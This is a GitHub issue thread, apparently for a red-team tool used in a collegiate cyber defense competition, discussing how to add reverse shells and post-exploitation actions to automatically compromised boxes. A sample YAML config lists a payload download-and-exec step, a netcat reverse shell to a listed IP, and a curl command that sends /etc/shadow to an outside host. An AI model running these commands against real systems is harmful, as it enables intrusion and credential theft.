Open mgerst opened 6 years ago
Curious how you plan to proceed with this. Are you looking at building a shell handler within the application, or using an external/pre-existing one (e.g. MSF multi/handler).
I was thinking about doing external at first just to have it done, but when I saw that paramiko let's you write SSH servers I thought it might be fun to see how far I can push that and/or abuse SSH.
I'm definitely open to suggestions.
I got the idea for this from IT-O since from someone else already doing it. I believe with MSF multi handlers.
I'm curious what you would do with SSH servers, whether you mean to deploy it to the target or run it locally?
Yeah, I guess if you already have SSH access, why downgrade to a reverse shell? Well, reverse shells would come in handy if you were using an autolib pwn_func that isn't as functional as SSH.
Maybe instead of hardcoding reverse shell logic, it would be more flexible to allow arbitrary post-pwn commands per-service. That way, you would be able to adjust on the fly and not need to worry if the target doesn't have Python (gasp), which netcat is installed etc.. It would also allow for custom commands to be run for persistence purposes.
It would run locally. The idea is to use SSH channels to not only have access to a shell but also internal network access (in the form of forwards). At least, in theory that might work.
Also the arbitrary post pwn commands is absolutely the intention (I mean it wouldn't be one of my projects without some sort of plugin system would it?). Same for the actual service pwn functions themselves.
Here's my take on a basic implementation:
Expand the project YAML config to support post
:
_version: "1.0"
project: ISU2 2018
base: ~/cdcs/isu2-18
flags:
- service: WWW SSH
type: blue
location: /root
name: "team{{ num }}_www_root.flag"
search: yes
post:
- service: WWW SSH
commands:
# Download and exec file using wget/curl/powershell
- type: download
url: http://12.110.123.123:8080/1337 # could be a MSF stager
shell: no # whether to pipe to shell or write to disk & exec
# Use a hardcoded reverse shell
- type: reverse
method: nc_tmpfifo
lhost: 12.110.123.123
lport: 1337
# Run whatever command
- type: raw
command: curl 12.110.123.123:8080/shadowz -d @/etc/shadow # I realize you already exfil files; this is just an example
And then the commands would be looped over in autolib.post
. Not sure if this is the best way, but it seems easy from a configuration perspective.
I like that. I want to be able to support custom post actions, so I'm thinking of something a little closer to what CircleCI does:
...
post:
- service: WWW SSH
commands:
- download:
...
- reverse:
...
Which would allow easier validation of the parameters. I'm also need to rethink how I handle the config and project classes. Part of the reason the pwn_func
signature is the way it is to support using multiprocessing for autopwn. Since I can't pass around objects that are too complicated without running into issues. I don't want to just re-parse the project/config for each service (the config has the possibility of prompting for credentials).
I might be able to serialize them and load them again in pwn_service
.
Create a reverse shell from the autopwnd boxes.